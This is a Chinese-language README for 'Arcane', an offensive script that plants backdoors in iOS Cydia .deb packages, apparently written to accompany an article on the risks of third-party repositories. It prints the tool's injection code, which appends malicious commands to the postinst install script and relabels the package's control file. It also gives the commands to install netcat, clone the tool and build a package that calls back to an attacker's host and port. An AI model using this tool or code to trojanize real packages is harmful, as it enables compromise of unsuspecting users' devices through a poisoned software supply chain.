Arcane 是一个简单的脚本,旨在对 iOS 软件包(iphone-arm)植入后门,并为 APT 仓库创建必要资源。它是为这篇文章创建的,用于说明为什么 Cydia 仓库可能很危险,以及从受感染的 iOS 设备可以实施哪些后渗透攻击。

要理解 GIF 中的内容,请解压一个用 Arcane 创建的软件包。
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
注意 DEBIAN 目录中的 control 和 postinst 文件。这两个文件都很重要。
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
在安装或卸载应用程序时,可以随包提供脚本。软件包维护者脚本包括 preinst、postinst、prerm 和 postrm 文件。Arcane 利用 postinst 文件在安装过程中执行命令。
# “安装后”文件。该文件通常负责在安装所需文件后
# 在操作系统上执行命令。开发者利用它来管理和维护
# 安装的各个方面。Arcane 滥用此功能,
# 将恶意的 Bash 命令追加到该文件中。
postinst="$tmp/DEBIAN/postinst";
# 一个用于处理嵌入到 postinst 文件中的命令执行类型的函数。
function inject_backdoor ()
{
# 如果使用了 --file,则通过 `cat` 将命令追加到 postinst 文件。
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# 如果未使用 --file,则使用之前定义的简单 Bash 载荷。
echo -e "$payload" >> "$postinst";
embed="generic shell command";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
control 文件包含软件包管理工具在安装软件包时使用的值。Arcane 会修改现有的 control 文件或创建一个新的。
# “control”文件模板。大多数 iOS 软件包都包含一个
# control 文件。如果没有找到,Arcane 将使用下面的模板。
# 这里使用 `$hacker` 变量来填充各种任意字段。
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: A backdoored iOS package
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# 一个用于检查 control 文件的 `if` 语句。
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# 如果没有检测到 control,则使用模板创建它。
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "created control file" "error with control template";
else
# 如果 control 文件存在,Arcane 会简单地重命名软件包,
# 使其在可用 Cydia 应用程序列表中的名称发生变化。
# 这使得该软件包在 Cydia 中更容易定位。
msg "detected control file" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "modified control file" "error with control";
fi;
在 Kali v2020.3 中克隆仓库。
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
将命令嵌入到指定的软件包中。更多信息请参见文章。
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat
仓库中包含用于测试的软件包。
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
MD5 校验和,来自官方的 Bingner 仓库。
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb